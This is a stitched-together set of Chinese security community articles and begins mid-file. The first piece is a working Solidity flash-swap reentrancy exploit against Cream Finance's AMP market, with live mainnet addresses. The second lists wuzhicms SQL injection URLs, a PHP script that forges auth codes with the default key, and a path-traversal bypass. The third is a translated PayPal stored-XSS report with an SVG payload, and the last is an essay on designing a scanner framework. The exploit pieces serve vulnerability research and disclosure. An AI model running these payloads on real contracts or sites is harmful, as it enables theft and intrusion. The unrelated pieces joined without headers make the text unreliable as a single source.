uint256 accountBorrows,
uint256 totalBorrows
);
event ReservesAdded(
address benefactor,
uint256 addAmount,
uint256 newTotalReserves
);
event ReservesReduced(
address admin,
uint256 reduceAmount,
uint256 newTotalReserves
);
event Transfer(address indexed from, address indexed to, uint256 amount);
// 由于高版本的问题，这行要注释掉
// fallback() external payable;
function _acceptAdmin() external returns (uint256);
function _addReserves(uint256 addAmount) external returns (uint256);
function _reduceReserves(uint256 reduceAmount) external returns (uint256);
function _setComptroller(address newComptroller) external returns (uint256);
function _setImplementation(
address implementation_,
bool allowResign,
bytes memory becomeImplementationData
) external;
function _setInterestRateModel(address newInterestRateModel)
external
returns (uint256);
function _setPendingAdmin(address newPendingAdmin)
external
returns (uint256);
function _setReserveFactor(uint256 newReserveFactorMantissa)
external
returns (uint256);
function accrualBlockNumber() external view returns (uint256);
function accrueInterest() external returns (uint256);
function admin() external view returns (address);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account)
external
view
returns (uint256);
function borrowIndex() external view returns (uint256);
function borrowRatePerBlock() external view returns (uint256);
function comptroller() external view returns (address);
function decimals() external view returns (uint8);
function delegateToImplementation(bytes memory data)
external
returns (bytes memory);
function delegateToViewImplementation(bytes memory data)
external
view
returns (bytes memory);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function getCash() external view returns (uint256);
function implementation() external view returns (address);
function interestRateModel() external view returns (address);
function isCToken() external view returns (bool);
function liquidateBorrow(
address borrower,
uint256 repayAmount,
address cTokenCollateral
) external returns (uint256);
function mint(uint256 mintAmount) external returns (uint256);
function name() external view returns (string memory);
function pendingAdmin() external view returns (address);
function redeem(uint256 redeemTokens) external returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount)
external
returns (uint256);
function reserveFactorMantissa() external view returns (uint256);
function seize(
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (uint256);
function supplyRatePerBlock() external view returns (uint256);
function symbol() external view returns (string memory);
function totalBorrows() external view returns (uint256);
function totalBorrowsCurrent() external returns (uint256);
function totalReserves() external view returns (uint256);
function totalSupply() external view returns (uint256);
function transfer(address dst, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (bool);
function underlying() external view returns (address);
}
interface AMP {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event ApprovalByPartition(
bytes32 indexed partition,
address indexed owner,
address indexed spender,
uint256 value
);
event AuthorizedOperator(
address indexed operator,
address indexed tokenHolder
);
event AuthorizedOperatorByPartition(
bytes32 indexed partition,
address indexed operator,
address indexed tokenHolder
);
event ChangedPartition(
bytes32 indexed fromPartition,
bytes32 indexed toPartition,
uint256 value
);
event CollateralManagerRegistered(address collateralManager);
event Minted(
address indexed operator,
address indexed to,
uint256 value,
bytes data
);
event OwnerUpdate(address indexed oldValue, address indexed newValue);
event OwnershipTransferAuthorization(address indexed authorizedAddress);
event PartitionStrategySet(
bytes4 flag,
string name,
address indexed implementation
);
event RevokedOperator(
address indexed operator,
address indexed tokenHolder
);
event RevokedOperatorByPartition(
bytes32 indexed partition,
address indexed operator,
address indexed tokenHolder
);
event Swap(address indexed operator, address indexed from, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event TransferByPartition(
bytes32 indexed fromPartition,
address operator,
address indexed from,
address indexed to,
uint256 value,
bytes data,
bytes operatorData
);
function allowance(address _owner, address _spender)
external
view
returns (uint256);
function allowanceByPartition(
bytes32 _partition,
address _owner,
address _spender
) external view returns (uint256);
function approve(address _spender, uint256 _value) external returns (bool);
function approveByPartition(
bytes32 _partition,
address _spender,
uint256 _value
) external returns (bool);
function assumeOwnership() external;
function authorizeOperator(address _operator) external;
function authorizeOperatorByPartition(bytes32 _partition, address _operator)
external;
function authorizeOwnershipTransfer(address _authorizedAddress) external;
function authorizedNewOwner() external view returns (address);
function balanceOf(address _tokenHolder) external view returns (uint256);
function balanceOfByPartition(bytes32 _partition, address _tokenHolder)
external
view
returns (uint256);
function canImplementInterfaceForAddress(bytes32 _interfaceHash, address)
external
view
returns (bytes32);
function collateralManagers(uint256) external view returns (address);
function decimals() external pure returns (uint8);
function decreaseAllowance(address _spender, uint256 _subtractedValue)
external
returns (bool);
function decreaseAllowanceByPartition(
bytes32 _partition,
address _spender,
uint256 _subtractedValue
) external returns (bool);
function defaultPartition() external view returns (bytes32);
function granularity() external pure returns (uint256);
function increaseAllowance(address _spender, uint256 _addedValue)
external
returns (bool);
function increaseAllowanceByPartition(
bytes32 _partition,
address _spender,
uint256 _addedValue
) external returns (bool);
function isCollateralManager(address _collateralManager)
external
view
returns (bool);
function isOperator(address _operator, address _tokenHolder)
external
view
returns (bool);
function isOperatorForCollateralManager(
bytes32 _partition,
address _operator,
address _collateralManager
) external view returns (bool);
function isOperatorForPartition(
bytes32 _partition,
address _operator,
address _tokenHolder
) external view returns (bool);
function isPartitionStrategy(bytes4 _prefix) external view returns (bool);
function name() external view returns (string memory);
function owner() external view returns (address);
function partitionStrategies(uint256) external view returns (bytes4);
function partitionsOf(address _tokenHolder)
external
view
returns (bytes32[] memory);
function registerCollateralManager() external;
function revokeOperator(address _operator) external;
function revokeOperatorByPartition(bytes32 _partition, address _operator)
external;
function setPartitionStrategy(bytes4 _prefix, address _implementation)
external;
function swap(address _from) external;
function swapToken() external view returns (address);
function swapTokenGraveyard() external view returns (address);
function symbol() external view returns (string memory);
function totalPartitions() external view returns (bytes32[] memory);
function totalSupply() external view returns (uint256);
function totalSupplyByPartition(bytes32) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferByPartition(
bytes32 _partition,
address _from,
address _to,
uint256 _value,
bytes memory _data,
bytes memory _operatorData
) external returns (bytes32);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool);
}
contract poc {
address constant AMPToken_Address = 0xfF20817765cB7f73d4bde2e66e067E58D11095C2;
address constant registry = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24;
//keccak256("AmpTokensRecipient")
bytes32 constant TOKENS_RECIPIENT_INTERFACE_HASH = 0xfa352d6368bbc643bcf9d528ffaba5dd3e826137bc42f935045c6c227bd4c72a;
address constant uin_WTH9_Pair_Address = 0xd3d2E2692501A5c9Ca623199D38826e513033a17;
address constant WTH9_AMP_Pair_Address = 0x08650bb9dc722C9c8C62E79C2BAfA2d3fc5B3293;
address constant WETH9_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant crETH_Address = 0xD06527D5e56A3495252A528C4987003b712860eE;
address constant crAMP_Address = 0x2Db6c82CE72C8d7D770ba1b5F5Ed0b6E075066d6;
address constant UniswapV2Router02_address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public wallet;
////这里必须是一个动态数组，根据uniswap的设计，该数组长度可能为2也可能为3
address[] path = [0xfF20817765cB7f73d4bde2e66e067E58D11095C2,0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2];
function attack() public {
//注册接口
IERC1820Registry(registry).setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
wallet = msg.sender;
//触发FlashSwap
Uni_Pair_V2(uin_WTH9_Pair_Address).swap(0, 500*1e18, address(this), "0x00");
}
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external{
//把500个WETH转为500个ETH
WETH9(WETH9_Address).withdraw(500*1e18);
//把500个ETH质押进Cream
crETH(crETH_Address).mint{value:500*1e18}();
//这里很奇怪要先借小额的ETH,才能借出大量的AMP,暂时不清楚原因
crETH(crETH_Address).borrow(1*1e18);
//攻击者调用了这个函数,所以我也跟着调
crAMP(crAMP_Address).accrueInterest();
//借大量AMP
crAMP(crAMP_Address).borrow(19480000000000000000000000);
//把所有ETH转为WETH
WETH9(WETH9_Address).deposit{value:address(this).balance,gas:40000}();
//Approve给RouterV2大量AMP,准备卖掉
AMP(AMPToken_Address).approve(UniswapV2Router02_address,19480000000000000000000000000);
//卖掉AMP
Uni_Router_V2(UniswapV2Router02_address).swapExactTokensForTokens(19480000000000000000000000,1,path,address(this),block.timestamp);
//归还FlashSwap
WETH9(WETH9_Address).transfer(uin_WTH9_Pair_Address,502*1e18);
//剩余WETH转回给测试账户
WETH9(WETH9_Address).transfer(wallet,WETH9(WETH9_Address).balanceOf(address(this)));
}
function tokensReceived(
bytes4 functionSig,
bytes32 partition,
address operator,
address from,
address to,
uint256 value,
bytes calldata data,
bytes calldata operatorData
) external {
// 当该攻击合约收到AMP的时候,触发钩子函数，通过重入借出ETH
crETH(crETH_Address).borrow(354*1e18);
}
receive() external payable {
}
}
* * * | 社区文章 |
# **0x00 漏洞详情**
五指cms版本： 4.1.0
## **1\. sql注入1**
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/api/uc.php?code=afdctEb5mOtGMEGZvuzqZi%2BCd7nG9XEhbrVM4sCS%2F9bispDzvRH707HampqJC5SP01qYtzpTqnusKTAGo8TLNdMph5IJ0hWJz%2FCvJP1vKwXCGgx9CrIkLxcBhGqrjNN3w1ZRPS9clNMauFjswrNTNNZa
## **2\. sql注入2**
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/index.php?m=promote&f=index&v=search&_su=wuzhicms&&fieldtype=place&keywords=1111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
## **3\. sql注入3**
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/index.php?m=coupon&f=card&v=detail_listing&groupname=a' and updatexml(rand(),CONCAT(0x7e,USER()),1)=' --+&_su=wuzhicms&XDEBUG_SESSION_START=15454
## **4\. sql注入4**
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/index.php?m=pay&f=index&v=listing&keytype=0&_su=wuzhicms&_menuid=36&search=&fieldtype=0&keyValue='+and+updatexml(7,concat(0x7e,user(),0x7e),7)%23&status=&starttime=&endtime=&XDEBUG_SESSION_START=15454
## **5\. sql注入5**
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms&_menuid=54&_submenuid=54&keywords=%27+and+updatexml(7,concat(0x7e,(user()),0x7e),7)%23&XDEBUG_SESSION_START=15454
## **6\. sql注入6**
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www//index.php?m=order&f=goods&v=listing&_su=wuzhicms&_menuid=220&search=&cardtype=-1&keytype=0&keywords='and+extractvalue(1,concat(0x7e,user()))%23&XDEBUG_SESSION_START=15454
## **7\. 文件遍历**
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www//index.php?XDEBUG_SESSION_START=16031&dir=/.....///.....///.....///.....///&m=template&f=index&v=listing&_su=wuzhicms&_menuid=31
# **0x01 代码分析**
**这里主要分析第1，2，7 这三个漏洞，因为2，3，4，5，6漏洞都属于同一原因造成的sql注入。**
## **1\. sql注入1 代码分析**
漏洞主要产生的原因是：获取到code后，先去_authcode解密，然后通过parse_str函数进行对解密后的字符串进行解析，保存到$get数组中，最后将get数组中的username带入数据库查询，中间没有任何过滤。
payload:
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/api/uc.php?code=afdctEb5mOtGMEGZvuzqZi%2BCd7nG9XEhbrVM4sCS%2F9bispDzvRH707HampqJC5SP01qYtzpTqnusKTAGo8TLNdMph5IJ0hWJz%2FCvJP1vKwXCGgx9CrIkLxcBhGqrjNN3w1ZRPS9clNMauFjswrNTNNZa
首先查看www/api/uc.php文件30-37行
$code = isset($GLOBALS['code']) ? $GLOBALS['code'] : '';
$get = $GLOBALS;
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
if(MAGIC_QUOTES_GPC) $get = _stripslashes($get);
if(empty($get))exit('Invalid Request');
if(SYS_TIME - $get['time'] > 3600) exit('Authracation has expiried');
if($get['time']>SYS_TIME+3600) exit('Authracation time error');
先获取code值，然后进行parse_str(_authcode($code, 'DECODE', UC_KEY), $get)
解密和变量注册，然后判断get数组中的time和现在的time相差是否在3600范围。
来看看_authcode($code, 'DECODE', UC_KEY)执行情况
$code是我们传入的，UC_KEY的默认值e063rbkHX22RAvIg，插入的编码方式是decode解码DECODE
跟进_authcode函数，该函数在 api/uc.php 192行
在232行返回结果：return substr($result, 26);
直到代码运行到api/uc.php的43-51行
if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings'))) {
$uc_note = new uc_note();
header('Content-type: text/html; charset='.CHARSET);
$action = $get['action'];
echo $uc_note->$action($get, $post);
exit();
} else {
exit(API_RETURN_FAILED);
}
$action = $get['action'];从数组中获取action的值为：synlogin
然后继续执行echo $uc_note->$action($get,
$post);调用uc_note类的synlogin函数，这个函数在api/uc.php的90行
重点来了！！
在synlogin函数中，获取$get数组中的username的值拼接到sql语句后，进行sql查询
到此sql注入分析完成了。然后返回来看看如何获取到code的值。
在整个流程中，我们用到了get数组中的time action username，以及UC_KEY
UC_KEY的默认值在wuzhicms\caches\member\setting.WDnsW.php 值为：e063rbkHX22RAvIg
我们还需要在解密后得到 time action username .所以我们可以构造一个payload,
其中action值必须为synlogin，username为注入的payload：a" and
extractvalue(1,concat(0x7e,user()))#
整体的payload
$payload = 'time='.time().'&action=synlogin&username=aa" and extractvalue(1,concat(0x7e,user()))#';
将payload在_authcode函数中加密，function _authcode($string, $operation = 'DECODE',
$key = '', $expiry = 0)，operation擦参数选择encode
生成code的php payload为：
<?php
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
//echo $result;
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
$payload = 'time='.time().'&action=synlogin&username=aa" and extractvalue(1,concat(0x7e,user()))#';
$code= urlencode(_authcode($payload, 'encode', 'e063rbkHX22RAvIg'));
echo ($code);
?>
## **2\. sql注入2 代码分析**
payload
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/index.php?m=promote&f=index&v=search&_su=wuzhicms&&fieldtype=place&keywords=1111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
直接将代码定位到 /wuzhicms/coreframe/app/promote/dmin/index.php文件42行search函数
执行sql语句
执行栈
如此看来获取到keywords参数后，只过滤了%20 %27其他字符没有过滤，因此造成了sql注入
sql注入 3 4 5 6 原理相似，不一一列举了
## **3\. 文件遍历代码分析**
payload
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www//index.php?XDEBUG_SESSION_START=16031&dir=/.....///.....///.....///.....///&m=template&f=index&v=listing&_su=wuzhicms&_menuid=31
直接查看wuzhicms\coreframe\app\template\admin\index.php文件的listing函数22行
public function listing() {
$dir = $this->dir;
$lists = glob(TPL_ROOT.$dir.'/'.'*');
//if(!empty($lists)) rsort($lists);
$cur_dir = str_replace(array( COREFRAME_ROOT ,DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR), array('',DIRECTORY_SEPARATOR), TPL_ROOT.$dir.'/');
$show_dialog = 1;
include $this->template('listing');
}
$dir = $this->dir; dir值获取在构造函数中 16-20行
function __construct() {
$this->db = load_class('db');
$this->dir = isset($GLOBALS['dir']) && trim($GLOBALS['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', trim($GLOBALS['dir'])) : '';
$this->dir = str_ireplace( array('%2F','//'),'/',$this->dir);
}
获取用户输入的dir，将其中的 ...\ ../ ./ .\替换成空，我们只要绕过这个过滤便可以遍历文件了。
过滤的顺序是 ..\ ../ ./ .\
如果我们输入的是： /../ 执行完过滤后只剩下/
若输入的是： /..../ 先过滤 ../ 剩下 /../ 接着会过滤 ./ 最后只剩下 /.
为了得到2个'.' 输入： /...../ 先过滤 ../ 剩下 /...
多了一个点，如果过滤 ../剩下的是 /...// ,在过滤一个./ 最后会得到一个 /../
因此我们构造的payload为： /...../// 即可使dir为/../便可查看上一级目录 | 社区文章 |
# 【技术分享】针对PayPal子域存储型XSS的研究（上）
|
##### 译文声明
本文是翻译文章，文章来源：firstsight.me
原文地址：<http://firstsight.me/fia07a53c4ec63d2b0d47fe27ea2645d82f8c98648/[ENG]%20PayPal%20-%20Turning%20Self-XSS%20into%20non-Self%20Stored-XSS%20via%20Authorization%20Issue.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
****
[**【技术分享】针对PayPal子域存储型XSS的研究（下）**](http://bobao.360.cn/learning/detail/4708.html)
**
**
**写在前面的话**
在本系列文章中，我们将会给大家介绍如何利用 **PayPal** 品牌中心站点中的 **XSS**
（跨站脚本）漏洞。在这个过程中，我们需要利用该站点所使用的身份验证机制中存在的安全问题，并利用“文件名注入”技术将 **Self-XSS** 转换为
**non-Self** 型的存储型XSS。
如果你想了解更多相关内容，请访问作者的Twitter主页或通过电子邮箱与他联系。
Twitter：@YoKoAcc
电子邮箱：[[email protected]](mailto:[email protected])
**概述**
为了更加方便地给PayPal的店主们或零售商提供技术支持信息，PayPal专门给他们的客户以及店主搭建了一个门户网站以方便他们直接跟PayPal进行沟通，他们可以通过这个站点直接与PayPal讨论产品完整性的问题，发送新功能的使用反馈信息，或者讨论PayPal当下面临的技术问题等等，这个页面就是PayPal技术支持站点【[传送门](https://www.paypal-techsupport.com/)】。
下图显示的就是PayPal的技术支持主页：
从另一方面来说，为了完善PayPal给其他实体所提供的日常网络服务，PayPal还专门设计了一个网站用来给他们的商业合作伙伴申请PayPal的Logo使用权限，这个网站就是PayPal的品牌中心【[传送门](https://www.paypal-brandcentral.com/)】。
下图显示的就是PayPal产品中心的主页：
需要注意的是，这两个站点均支持文件上传功能，因此店主或者客户就能够尝试上传系统允许的文件来帮助PayPal更加清楚地了解他们当前所面临的情况或者问题。但不幸的是，这些文件上传功能的验证机制中存在安全问题，即该功能无法对客户上传文件的内容（技术支持站点存在该问题）以及文件名（品牌中心站点存在该问题）进行有效验证，因此攻击者能够利用这种安全问题来存储一个攻击脚本（客户端脚本）并在多种攻击场景下使用该脚本，例如将用户重定向到一个钓鱼页面，或者在客户主机中下载恶意软件等等。这也就是我们常说的跨站脚本攻击，本文稍后会对这部分内容进行详细描述。
补充内容：在此之前，PayPal产品中心网站是允许开放注册的，任何人都可以通过PayPal所提供的激活链接来在线激活自己的账号（没错，我们还可以绕过这种激活机制，我们之后会专门发布一篇相关文章来介绍这部分内容，你可以先使用账号[email protected]以及PayPal的忘记密码功能来自己先试一试）。但是现在，该站点中的每一次注册申请都必须经过PayPal的人工审批。
下面这张截图显示的是我们成功绕过了PayPal产品中心的PayPal激活链接：
**技术介绍**
**存储型跨站脚本（XSS）**
简而言之，这种类型的漏洞将允许攻击者在目标网站的文本输入区域（input标签）中执行任意代码。之所以会产生这样的漏洞，主要是因为开发人员在实现这些文本输入区域时，没有过滤掉例如“>
< : /
;”之类的特殊字符。与存储型XSS对应的是反射型XSS，攻击者在利用反射型跨站脚本漏洞时不需要存储任何的“脚本”，他们只需要让目标用户访问一个已经注入了“额外内容”的URL即可。与之不同的是，攻击者在利用存储型跨站脚本漏洞时需要存储脚本文件，并且在目标用户正常访问被入侵的页面时自动执行该脚本。
**技术支持门户的信息提交过程分析**
在Paypal的技术支持页面中，PayPal允许用户通过“联系支持”功能提交自己的问题，地址为[https://www.paypal-techsupport.com/app/ask](https://www.paypal-techsupport.com/app/ask)。一般来说，用户有两种方法（场景）来提交信息（任务单）：
a:用户需要登录他们的技术支持站点账号，然后访问上述给出的“联系支持”功能地址。接下来，用户将会看到页面中需要填写的内容：
b:第二种就是用户在不登录任何账号的情况下直接访问“联系支持”功能。此时，用户将直接查看到“电子邮件地址”之类需要填写的内容：
这些页面的提交功能允许用户上传网站所支持的文档格式（用于更加清晰地描述用户无法解决的问题），例如.txt、.doc、.docx、.xls、.xlsx、.pdf、.jpg、.png、.bmp、.ppt和.pptx。
但是.svg文件格式是系统所不支持上传的：
但是，如果攻击者能够修改系统的文件提交机制，并对目标账号发动客户端攻击的话，那么问题就严重了。在这种场景中，攻击者可以利用刚才所介绍的方法b（不需要登录即可提交任务单）来绕过网站的过滤系统并上传.svg文件。而且需要注意的是，在这种场景下，PayPal技术支持门户并不会验证.svg文件的内容，因此攻击者就可以在其中嵌入任何需要注入的客户端脚本了。下面给出的是我们的PoC：
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg onload="window.location='http://www.google.com'"
xmlns="http://www.w3.org/2000/svg"></svg>
**PayPal技术支持门户的任务单提交流程图**
为了让大家更加清楚地了解任务单的提交流程，请大家看看下面这张流程图。图中显示了PayPal技术支持门户任务单提交的正常处理流程，在“登录后提交任务单-方法a”场景中，一切都看似正常。正如之前所说的，用户可以上传网站支持的文件格式：
下面这张图片显示的是另一种场景下的提交流程。此时的场景为方法b，即“在不登录的情况下提交任务单”。因此，用户只需要在提交时填写联系邮箱的地址即可：
信息提交完成之后，用户可以登录技术支持门户来查看自己提交的问题。
**问题总结**
正如我们之前所介绍的那样，本报告所描述的安全问题与跨站脚本漏洞有关，这个漏洞将允许攻击者在PayPal网站的服务器中存储注入了恶意代码的“客户端脚本”，而攻击者之后可以在不同的攻击场景中使用这种脚本，例如将用户重定向到钓鱼页面或在目标用户的主机中下载恶意软件。这种安全问题之所以会存在，主要是因为PayPal在实现其文件上传功能时没有部署有效的文件验证机制（包括文件类型和文件内容）。
**缓解方案**
为此，我们也提供了以下几条建议来防止类似的问题再次出现：
1\. 禁用“无需登录即可提交任务单”功能；
2\. 不仅要在客户端检测用户上传的文件类型，而且当文件到达服务器端时也要对文件后缀以及文件内容进行检测；
**演示视频**
为了让大家更好地理解本文所描述的漏洞，我们给大家提供了本文所介绍的两种场景下的攻击演示视频：
1． PayPal技术支持门户的存储型XSS：[https://youtu.be/7Au-As7jrQs](https://youtu.be/7Au-As7jrQs)
2．
PayPal品牌中心的存储型XSS：[https://youtu.be/XwynfNOxIlI](https://youtu.be/XwynfNOxIlI)
**积累经验**
PayPal已经确认了我们所提交的漏洞报告，并且给我们提供了相应的漏洞奖励。PayPal目前已经修改了其品牌中心的注册流程，因此本文关于“PayPal品牌中心”的漏洞将不再有效。
我个人认为，对于大规模的网站而言，需要保护的东西实在是太多了，而安全团队也并不能百分之百地清楚网站中每一个应用程序的具体运行流程。与此同时，像Facebook和Twitter这样的门户网站一样，PayPal的安全团队每天都会接收到来自全世界各个地区的研究人员发过来的漏洞报告，因此这也给企业的安全团队带来了巨大的工作量。因此，当各位想要提交漏洞报告的时候，请一定要保证报告内容的完整性，并提供可行的PoC以及漏洞利用细节，最好还可以附带演示视频。
在本系列文章的下集中，我们将给大家介绍PayPal存储型XSS漏洞的利用过程，请感兴趣的同学及时关注安全客的最新报道。 | 社区文章 |
## 前言
本文章主要讲解一款漏洞验证框架的构思，并未详解内部的实现细节，本文篇幅稍长，请耐心看。
## 需求
做一款漏洞扫描器，首先要了解该扫描需要达到的效果。它的需求什么？需要支持什么？
可能需求如下：
* 跨平台运行，可以在Windows、Mac OS、Linux等操作系统运行或者使用 WEB 端控制
* 自定义POC、EXP多语言支持，POC支持多种开发语言实现，例如支持 Java、python 等。
* 多种运行方式，支持多线程、多进程、分布式运行等多种方式
* 可视化，漏洞扫描框架通过可视化操作
* 资产管理，通过探测结果的资产进行POC验证以及EXP利用
* 。。。。。。
## 需求分析
上面简单明确了一些一款漏洞扫描器的需求，需求的实现最好根据需求选取适合的技术来进行实现。
### 跨平台运行
跨平台的开发语言有很多，例如C、C++、Java、Python、Go 等等。
开发语言的选择，需要根据框架需要满足的运行效率、开发效率等多种角度来进行考虑。
如果需要很高的运行效率以及开发效率高的情况下，可以选择使用 Java 或 Python 等语言，如果需要追求极高的效率可以使用 Go 语言。
#### Java
Java 程序实际是在 Java 虚拟机( JRE 是软件实现)中运行，Java 虚拟机类似一个模拟执行环境，在不同的操作系统上拥有不同的 Java
虚拟机实现，但是这些 Java 虚拟机遵循统一的规范来解释 class 文件，并将 class 文件中的指令转换为本地操作系统对应的指令，这样就实现了相同的
class 文件，可以通过 Java 虚拟机转换为对应操作系统上的对应指令，实现 class 文件，也就是 Java 程序的跨平台性。
#### Python
Python 是一门跨平台的脚本语言，Python 规定了一个 Python 语法规则，实现了 Python 语法的解释程序就成为了 Python
的解释器。
### 自定义 POC
自定义POC、EXP本质就是基于模版进行编写的POC，能够让扫描框架识别并且运行。模版的组成一般分为漏洞基本信息、POC验证信息、Exp利用信息。
### 多种运行方式
多种运行方式，支持多进程、多线程、分布式运行等方式。如果扫描器需要大规模的的扫描、探测建议使用分布式节点的方式进行操作。一般情况下，多线程、多进程可以满足大部分的需求。
一般分布式适用于大型的企业内网或大范围的扫描探测。
### 可视化
可视化技术的选型，目前有三种比较流行的方案。
第一种为使用语言自带的可视化编程模块（QT）进行开发可视化程序。
第二种为使用 [Electron](https://electronjs.org/) 或 [nw.js ](https://nwjs.io/)
进行开发可视化应用，其中比较有名的[FOFA Pro
客户端](https://fofa.so/about_client)、[GoBy](http://gobies.org/)
、[中国蚁剑](https://github.com/AntSwordProject/antSword)等就是基于此方案进行开发的，
[Electron](https://electronjs.org/) 的官网有很多基于此框架开发的程序。
第三种为采用 B/S 架构进行开发，后端控制使用 WEB进行控制，节点使用 Python、Java 等语言进行开发，其中
BugScan、w8scan、[巡风](https://github.com/ysrc/xunfeng)等都是基于B/S架构实现。
#### Electron
> Electron 是由 Github 开发，用 HTML，CSS 和 JavaScript 来构建跨平台桌面应用程序的一个开源库。 Electron
> 通过将 Chromium 和 Node.js 合并到同一个运行时环境中，并将其打包为Mac，Windows 和 Linux 系统下的应用来实现这一目的。
>
> Electron 于 2013 年作为构建 Github 上可编程的文本编辑器 Atom 的框架而被开发出来。这两个项目在 2014 春季开源。
>
> 目前它已成为开源开发者、初创企业和老牌公司常用的开发工具。
#### nw.js
> nw.js 基于 Chromium 和 Node.js。NW.js 利用 Web 技术结合 Node.js 及其模块进行桌面应用开发。
### 资产管理
资产管理，用于管理扫描探测结果的资产信息，用于资产与对应 POC
关联使用。其中资产管理中主要含有资产识别规则，用于识别资产的信息。例如通过资产的标题、body、证书、header、banner进行制定规则用于识别。
## 设计
整体框架分为并发引擎、插件中心、目标中心、漏洞验证四大模块。
* 并发引擎：主要提供漏洞验证框架运行方式，例如多线程、多进程、分布式等运行方式。
* 插件中心：主要提供漏洞 POC 的模版、POC 的加载以及 POC 的管理。
* 目标中心：目标加载、管理目标资产、漏洞管理。
* 日志管理：管理框架中所有网络请求以及响应信息，提供后续的回溯。
### 流程
框架运行流程
* 选择合适的运行引擎，一般情况下使用多线程和多进程进行探测，如果探测大型企业内网以及大范围的扫描探测，分布式运行比较合适。
* 插件加载中心，进行加载使用的 POC。
* 目标加载，加载运行需要探测目标，可以导入单个ip、ip段以及文件形式进行加载。
* 探测分析，探测分析主要分为资产探测和漏洞探测，资产探测通过资产识别规则进行识别资产信息，漏洞探测根据识别的资产信息进行漏洞探测分析。
### 并发引擎
并发引擎主要为漏洞验证程序运行时选择的运行方式，主要有多线程、多进程、分布式 3 种运行方式，使用多线程、多进程、分布式运行方式来保证漏洞验证程序的效率。
正常情况下使用多线程、多进程适用于大部分使用的场景。
分布式运行用于大型企业内网探测或大规模的网络探测。
### 插件中心
插件中心分为模版中心、插件加载中心以及插件管理中心组成。
模版中心提供 POC、Exp模版信息，主要分为通用模版和编程语言模版俩种。
插件中心，提供用户选择性需要测试的插件进行加载。
插件管理中心进行管理自定义编写的 POC。
#### 模版中心
模版中心主要分为通用模版、编程语言模版，两大模块。其中各自组成都是由插件基本信息、POC 信息、Exp 信息三大部分组成。
插件基本信息由插件名称（漏洞名称）、类型、产品名称、等级、产品主页、描述等组成。
POC 信息由发包协议、发包方式、发包内容、逻辑判定等组成。
